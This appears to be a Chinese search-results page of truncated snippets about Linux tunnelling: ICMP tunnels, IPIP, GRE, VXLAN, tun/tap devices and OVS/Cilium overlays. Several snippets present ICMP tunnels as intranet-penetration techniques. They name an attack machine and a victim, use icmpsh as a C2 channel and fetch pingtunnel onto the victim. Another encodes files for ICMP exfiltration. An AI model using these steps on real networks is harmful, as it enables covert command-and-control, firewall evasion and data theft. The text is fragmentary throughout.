1、介绍 在内网中,如果攻击者使用 HTTP、DNS 等应用层隧道都失败了,那么或许可以试试网络层的 ICMP 隧道,ICMP 协议最常见的场景就是使用 ping 命令,而且一般防火墙都不会禁止 ping.../icmptunnel -s # 开启服务端模式 在攻击机上新开启一个终端运行: /sbin/ifconfig tun0 10.0.0.1 netmask 255.255.255.0 # 指定一个网卡...tun0,用于给隧道服务器端分配一个IP地址 (10.0.0.1) 在目标机上运行: echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all ..../icmptunnel 172.16.214.6 在目标机上新开启一个终端运行: /sbin/ifconfig tun0 10.0.0.2 netmask 255.255.255.0 # 指定一个网卡...tun0,用于给隧道服务器端分配一个IP地址 (10.0.0.2) 至此,已经通过 ICMP 建立了一个点对点隧道。
使用ICMP搭建隧道(Icmptunnel) 适用场景:目标机器是Linux服务器的情况 攻击机:Redhat7 192.1.68.10.20 靶机:Centos7 192.168.10.13 ICMP.../icmptunnel -s #监听 重新打开一个命令行窗口 ifconfig tun0 10.0.0.1 netmask 255.255.255.0...#添加tun0网卡,分配隧道地址10.0.0.1/24 客户端的操作: echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all.../icmptunnel 192.168.10.20 #连接服务端 重新打开一个命令行窗口 ifconfig tun0 10.0.0.2 netmask...255.255.255.0 #添加tun0网卡,分配隧道地址10.0.0.2/24 至此,客户端和服务端已经打通了一条ICMP隧道。
# 简介 IPIP隧道是一种点对点的隧道协议,用于在IPv4网络上传输IPv4或IPv6数据包。...IPIP隧道的工作原理是将源主机的IP数据包封装在一个新的IP数据包中,新的IP数据包的目的地址是隧道的另一端。在隧道的另一端,接收方将解封装原始IP数据包,并将其传递到目标主机。...IPIP隧道可以在不同的网络之间建立连接,例如在IPv4网络和IPv6网络之间建立连接。...# 使用IPIP隧道实现跨主机网络 首先在Node1创建tun设备并设置为ipip模式,local设置为本地IP地址10.65.132.187,remote设置为对端IP10.65.132.187,这两个是隧道外层...IP,然后再设置隧道内层IP,10.10.100.10到10.10.200.10。
# 创建隧道名tun0,模式采用gre,直通远端ip-172.16.20.15,对应本地ip-172.16.10.14,路由存活时间255 ip tunnel add tun0 mode gre...remote 172.16.20.15 local 172.16.10.14 ttl 255 # 启动隧道 ip link set tun0 up # 设定本机tun0上的虚拟...ip,并制定对端ip-192.168.2.1 ip addr add 192.168.1.1 peer 192.168.2.1 dev tun0 # 设定本机隧道tun0的路由信息...创建隧道网络 ip tunnel add tun0 mode gre remote 172.16.10.14 local 172.16.20.15 ttl 255 ip link...tun0 操作流程: 1 加载隧道模块 2 设置基础隧道设备 3 配置隧道属性 4 隧道网络的路由 2.6.3 TUN简介 模型简介
IP 隧道 Linux 原生支持多种三层隧道,其底层实现原理都是基于 tun 设备。我们可以通过命令 ip tunnel help 查看 IP 隧道的相关操作。...inherit/00..ff } TTL := { 1..255 | inherit } KEY := { DOTTED_QUAD | NUMBER } 可以看到,Linux...实践 IPIP 隧道 我们下面以 ipip 作为例子,来实践下 Linux 的隧道通信。本文以前文的 Linux 路由机制作为基础,不清楚 Linux 路由的可以先翻看下那篇文章再来看。...5、Linux 打开了 ip_forward,相当于一台路由器,10.10.10.0 和 10.10.20.0 是两条直连路由,所以直接查表转发,从 NS1 过渡到 NS2。...总结 现在的 Linux 内核原生支持 5 种隧道协议,它们底层实现都是采用 tun 虚拟设备。 我们熟知的各种 V** 软件,其底层实现都离不开这 5 种隧道协议。
,它们都属于网络设备,都可以配置 IP,都归 Linux 网络设备管理模块统一管理。...用户空间与内核空间的数据传输 在 Linux 中,用户空间和内核空间的数据传输有多种方式,字符设备就是其中的一种。...协议栈根据数据包的目的 IP 地址,匹配路由规则,发现要从 tun0 出去。 tun0 发现自己的另一端被应用程序 B 打开了,于是将数据发给程序 B....在这个流程中,应用程序 B 的作用其实是利用 tun0 对数据包做了一层隧道封装。其实 tun 设备的最大用途就是用于隧道通信的。...tun/tap 常用于隧道通信。
前言:IPIP隧道是一种三层隧道,通过把原来的IP包封装在新的IP包里面,来创建隧道传输。...本篇简单分析Linux(2.6.32版本)中的IPIP隧道的实现过程,期望有所借鉴,造出轮子:-) 一....IPIP的初始化 Linux中的IPIP隧道文件主要分布在tunnel4.c和ipip.c文件中。...因为是三层隧道,在IP报文中填充的三层协议自然就不能是常见的TCP和UDP,所以,Linux抽象了一个隧道层,位置就相当于传输层,主要的实现就是在tunnel4.c中。...可以说在隧道层对隧道协议进行的注册,保证能够识别接收到隧道包。而对隧道包的处理则是在IPIP中完成的。
bridge Linux Bridge 是工作在链路层的网络交换机,由 Linux 内核模块 brige 提供,它负责在所有连接到它的接口之间转发链路层数据包。...其实就是一种隧道技术,将原生态的二层数据帧报文进行封装后通过隧道进行传输。 vxlan 与 geneve 都是 overlay 网络协议,它俩都是使用 UDP 包来封装链路层的以太网帧。...有了上面这些知识,我们就可以通过如下命令在两台 Linux 机器间建立一个点对点的 VXLAN 隧道: # 在主机 A 上创建 VTEP 设备 vxlan0 # 与另一个 vtep 接口 B(192.168.8.101...ping 10.20.1.2 点对点的 vxlan 隧道实际用处不大,如果集群中的每个节点都互相建 vxlan 隧道,代价太高了。...一种更好的方式,是使用 「组播模式」的 vxlan 隧道,这种模式下一个 vtep 可以一次与组内的所有 vtep 建立隧道。
ovs流表在处理时有如下规则: table 0: 根据输入端口(in_port)做入口分流,来自VXLAN隧道的流量转到表10并将其VXLAN VNI 保存到 OVS 中供后续使用,从tun0过阿里的(...来自本节点或进本节点来做转发的)流量分流到表30,将剩下的即本节点的容器(来自veth***)发出的流量转到表20; table 10: 做入口合法性检查,如果隧道的远端IP(tun_src)是某集群节点的...IP,并从隧道发出; table 60: Service的转发处理,根据目标Service,设置目标项目标记和转发出口标记,转发到table 80去处理; table 70: 对访问本地容器的包,做本地...IP,并从隧道发出; table 100: 做出外网的转出处理,将数据包从tun0发出。...developerworks/cn/cloud/library/1401_zhaoyi_openswitch/index.html https://www.ibm.com/developerworks/cn/linux
环境要求 攻击机/C2通道:192.168.1.108(Kali Linux) 宿主机:192.168.1.106(Windows 10) icmpsh:C2通道与安装方法 icmpsh是一个简单的ICMP...以主模式运行icmpsh(Kali Linux) 下载完成之后,使用以下命令来运行主控端。执行之前最重要的一步是在你的机器上关闭ping回复。这样可以防止内核自己对ping包进行响应。...ICMP隧道搭建 ICMP隧道是指将TCP连接通过ICMP包进行隧道传送的一种方法。在此我们会获取一个被封装到ICMP包中的ssh会话。...环境要求 服务端机器: ens33:192.168.1.108 tun0:10.0.0.1 客户端机器: eth0: 192.168.1.111 tun0:10.0.0.2 icmptunnel是一个将...通过ICMP连接SSH 到这里应该通过ICMP包建立了一个点对点隧道。服务端的隧道IP是10.0.0.1,客户端的隧道IP是10.0.0.2。
写在前面 博文内容为 Linux 隧道通信 IPIP认知 内容涉及:ipip 介绍,一个 ipip 通信 Demo 以及数据帧流转分析 理解不足小伙伴帮忙指正 某些人和事,哪怕没有缘分,是路边的风景,可是只要看一眼...隧道技术。...下面我们以ipip为例,介绍Linux隧道通信的基本原理。...注:Linux L3隧道底层实现原理都基于tun设备 ipip隧道通信 Demo 应为只有一台机器,所以这里我们通过 Linux 上的两个 network namespace 来模拟两个机器节点,每个...ipip隧道网络拓扑如图 这里我们用两个 Linux network namespace 来模拟 ,创建两个网络命名空间,同时配置两个 veth pair,一端放到命名空间 liruilonger@cloudshell
如图1所示,发往tun0的数据被转发到了V**程序,而普通的eth0设备则将会将其送往这个网卡所连着的另一个设备。...首先它也归内核的网络设备子系统管理,对于Linux内核网络设备管理模块来说,虚拟设备和物理设备没有区别,都是网络设备,都能配置IP,从网络设备来的数据,都会转发给协议栈,协议栈过来的数据,也会交由网络设备发送出去...隧道协议 聊完了tun设备,我们再来看看隧道协议。在文章《当vpc遇到K8s overlay》里,二哥借助刘超在《趣谈网络协议》中所举的从广州自驾海南游的一个例子来解释所谓隧道协议的概念。...如图2所示,隧道协议分为三部分:乘客协议、隧道协议和承载协议。 图 2:隧道协议示意图 从广州出发自驾游海南,你的车怎么通过琼州海峡呢?得用轮渡,其实这就是隧道协议。...我们大致可以想象得出从tun0接收到数据,再次穿过IP层(以及路由表)和传输层,并最终达到浏览器的场景。 写完这篇,二哥不禁再次感慨网络模型分层设计模式的强大之处。
docker0:Docker 管理和使用的 linux bridge 网桥,通过 veth 对将不受 OpenShift 管理的Docker 容器的网络地址空间连接到 docker0 上。...OVS VXLAN 隧道端点,用于集群内部 pod 之间的网络通信。...IP,并从隧道发出; table 100: 做出外网的转出处理,将数据包从tun0发出。...其目的是使得返回包能回到tun0,然后能通过反SNAT 操作,将目的IP地址由 tun0 的IP 修改为原来的源IP。具体见下文的分析。...最后还是要回到 OVS br0,再走到 vxlan0,通过 VXLAN 隧道发到目标pod 所在的宿主机。该过程示意图如下: ?
常用隧道分类 根据不同层的网络协议,大致分为以下几种常用的隧道: 2.1 应用层 ssh隧道 http(https)隧道 dns隧道 2.2 传输层 tcp隧道 udp隧道 常规端口转发 2.3 网络层...vps作为dns服务器解析域名 Windows Nslookup baidu.com vps Linux dig@vps Baidu.com 4.搭建隧道实战 4.1 搭建ipv6隧道 前提:支持ipv6.../icmptunnel -s#以服务端启动 /sbin/ifconfig tun0 10.0.0.1 netmask 255.255.255.0 #配置一个ip 客户端配置: ..../icmptunnel 192.168.75.131(服务端ip) /sbin/ifconfig tun0 10.0.0.2 netmask 255.255.255.0 #配置一个ip 那么就可以隧道进行通信了...下载对应的客户端,因为我这里下载的服务端为linux_amd64,则下载windows_amd64 运行命令可以看到连接成功。
如果Kubernetes的工作节点为虚拟机,那么,Cilium推荐大家使用overlay模式,也就是隧道封装模式。...Cilium Agent控制内核中eBPF模块将Pod之间的网络交互进行封装,隧道两端的IP就是Kubernetes工作节点的IP地址 172.16.112.10和172.16.112.20。...这是因为,flannel实际上只是调用了Linux内核的VXLAN封装功能,也就是将数据包通过tun0发送,并将tun0设定为VXLAN封装。...ipip封装指的是将IP业务数据包封装在外层的IP隧道数据包内,如下图所示: 也就是仅仅增加了20字节的包头,比GRE、NVGRE、VXLAN等封装方式的开销都要小。
/usr/bin/bpftrace #include #include #include kprobe:_...服务端部署 icmp 隧道 server wget https://github.com/esrrhs/pingtunnel/releases/download/2.8/pingtunnel_linux_amd64....zip unzip pingtunnel_linux_amd64.zip # 启动服务端,设置 key 为 1234 ....受害端执行 icmp 隧道客户端 wget https://github.com/esrrhs/pingtunnel/releases/download/2.8/pingtunnel_linux_amd64....zip unzip pingtunnel_linux_amd64.zip # 连接服务端 sudo .
如图1所示,发往tun0的数据被转发到了VPN程序,而普通的eth0设备则将会将其送往这个网卡所连着的另一个设备。...首先它也归内核的网络设备子系统管理,对于Linux内核网络设备管理模块来说,虚拟设备和物理设备没有区别,都是网络设备,都能配置IP,从网络设备来的数据,都会转发给协议栈,协议栈过来的数据,也会交由网络设备发送出去...隧道协议 ---- 聊完了tun设备,我们再来看看隧道协议。在文章《当vpc遇到K8s overlay》里,二哥借助刘超在《趣谈网络协议》中所举的从广州自驾海南游的一个例子来解释所谓隧道协议的概念。...如图2所示,隧道协议分为三部分:乘客协议、隧道协议和承载协议。 图 2:隧道协议示意图 从广州出发自驾游海南,你的车怎么通过琼州海峡呢?得用轮渡,其实这就是隧道协议。...我们大致可以想象得出从tun0接收到数据,再次穿过IP层(以及路由表)和传输层,并最终达到浏览器的场景。 写完这篇,二哥不禁再次感慨网络模型分层设计模式的强大之处。
目录 前言 一、概述 1、简介 2、原理 3、使用 (1)服务端 (2)客户端 二、实践 1、场景 2、建立隧道 (1)攻击机监听 (2)目标机发送 (3)攻击机转换 3、抓包看看...:内网渗透系列:内网隧道之ICMP隧道 3、使用 (1)服务端 tucpdump监听并下载文件 sudo tcpdump -i eth0 icmp and icmp[icmptype]=icmp-echo.../tran.sh (2)客户端 windows icmp_tran.exe linux sudo python icmp_tran.py <attacker-IP...os.system("certutil -encode "+ file +" test.txt") # windows os.system("base64 "+ file +" > test.txt") # linux...payload内容 payload内容这个还是没办法避免的事情 正常ping命令: windows系统下ping默认传输的是:abcdefghijklmnopqrstuvwabcdefghi,共32bytes linux
常用的ICMP隧道工具有icmpsh、PingTunnel、icmptunnel、powershell icmp等。...,可以跨平台使用,为了避免隧道被滥用,可以为隧道设置密码。...&& make install 工具使用 网络环境: 攻击主机(VPS):192.168.188.129 攻击主机(Windows 10):192.168.188.1 内网边界主机(Kali linux...,以Web服务器182.168.188.134为ICMP隧道跳板进行传送 相关参数说明: -p:指定ICMP隧道另一端的IP -lp:指定本地监听的端口 -da:指定要转发的目标机器的IP -dp...:指定要转发的目标机器的端口 -x: 指定连接密码 最后在本地Windows 10主机中使用mstsc访问VPS主机(192.168.188.129——>Kali linux)的1080端口: 之后会弹出以下认证界面
领取专属 10元无门槛券
手把手带您无忧上云